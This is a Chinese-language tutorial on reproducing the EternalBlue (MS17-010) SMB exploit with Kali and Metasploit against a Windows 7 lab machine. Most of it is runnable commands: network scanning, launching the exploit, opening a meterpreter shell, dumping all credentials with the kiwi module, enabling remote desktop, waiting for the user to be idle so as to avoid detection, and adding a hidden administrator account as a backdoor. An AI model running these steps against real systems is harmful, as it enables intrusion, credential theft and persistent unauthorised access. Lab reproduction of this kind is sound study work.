Kali--MSF-永恒之蓝详解（复现、演示、远程、后门、加壳、修复）

一、永恒之蓝概述
永恒之蓝（Eternal Blue）爆发于 2017 年 4 月 14 日晚，是一种利用 Windows 系统的 SMB 协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于 2017 年 5 月 12 日， 不法分子通过改造 “永恒之蓝” 制作了 wannacry 程序，使全世界大范围内遭受了该程序，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。

二、SMB 协议
SMB（Server Message Block）是一个协议服务器信息块，它是一种客户机 / 服务器、请求 / 响应协议，通过 SMB 协议可以在计算机间共享文件、打印机、命名管道等资源，电脑上的网上邻居就是靠 SMB 实现的；SMB 协议工作在应用层和会话层，可以用在 TCP/IP 协议之上，SMB 使用 TCP139 端口和 TCP445 端口。

三、准备工作
虚拟机：VMware
靶机：Windows 7 (IP:192.168.184.138) 镜像下载 https://msdn.itellyou.cn/
攻击机：Kali (IP:192.168.184.130)
工具：Kali 中的 nmap metasploit (MSF)
四、漏洞复现
1、主机发现
a. 前提 win7 关闭防火墙

不关闭防火墙有可能 nmap 扫描不到其端口，MSF 利用不了永恒之蓝漏洞。

可以 ipconfig ifconfig 分别查看 win7 和 kali 中的 ip 地址：

win7

2. 用 kali 中的 nmap 扫描网段做主机发现

IP 地址：<网络号>+< 主机号 >

A 类：10.0.0.0～10.255.255.255

B 类：172.16.0.0～173.31.255.255

C 类：192.168.0.0～192.168.255.255

/24 就是代表 24 个 1，即子网掩码为 255.255.255.0

192.168.184.0/24 “/” 后面的数字控制前面 ip 地址的掩码，以表示后面有几位可以变

Copy
nmap -sP 192.168.184.0/24 #sP（ping扫描）

3. 用 kali 中的 metasploit (MSF) 做主机发现

Copy
msfconsole //启动MSF
use auxiliary/scanner/discovery/arp_sweep //use使用模块
set rhosts 192.168.184.0/24 //设置扫描网段
set threads 50 //提高线程
run //运行

MSF 搜索永恒之蓝的漏洞 输入 search ms17-010 （微软 永恒之蓝编号 ms17-010）

blue 就是永恒之蓝的漏洞

psexec 是可利用的一个 javascripe（JS）的一个模块

command 是运行 cmd 的

最后一个是探测的模块

a. 我们先利用探测的模块看一下我们的这台 win7 有没有可能存在漏洞。

Copy
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhosts 192.168.184.138
exploit/run

运行成功会出现 meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块，可以调用 Metasploit 的一些功能，
对目标系统进行更深入的渗透，如进入 cmd、获取屏幕、上传 / 下载文件、创建持久后门等。

Copy
meterpreter > shell
chcp 65001 //转换一下编码 要不然会乱码
ipconfig #查看ip
whoami #查看当前用户名称

2. 捕获屏幕

Copy
meterpreter > screenshot #屏幕截图

3. 上传文件

Copy
meterpreter > upload user.txt c://

5. 远程登录
kiwi 模块查看密码:

使用 kiwi 模块需要 system 管理员权限：

Copy
meterpreter > load kiwi //加载kiwi模块
Loading extension kiwi...Success.
creds_all #列举所有凭据
exit #退出

MSF 启动目标机的 3389 端口

windows 远程连接默认是不允许连接的：

我们总不能手动在 win7 上允许远程连接吧，这样我们怎么能算得上 Hacker 呢，哈哈哈...

启动 win7 的 3389 端口即远程桌面协议，执行远程链接命令：

Copy
meterpreter > run post/windows/manage/enable_rdp //启用目标主机的3389端口远程桌面
meterpreter > idletime //查看远程用户的空闲时长，空闲时间长再进行远程登陆，减小被发现的风险。

Copy
root@kali:~# rdesktop 192.168.184.138 //使用 rdesktop 命令远程连接桌面

由于这样我们远程登录 win7 用户，在 win7 会把用户 k 顶下去：
创建用户：

所以我们要创建一个新用户用来登录：

Copy
meterpreter > shell #进入命令行
net user kill 123 /add #新建用户kill 密码123
net localgroup administrators kill /add #将用户kill添加到Win7的本地管理员组中，获得管理员权限
net user #查看用户

Copy
root@kali:~# rdesktop 192.168.184.138 //使用 rdesktop 命令远程连接桌面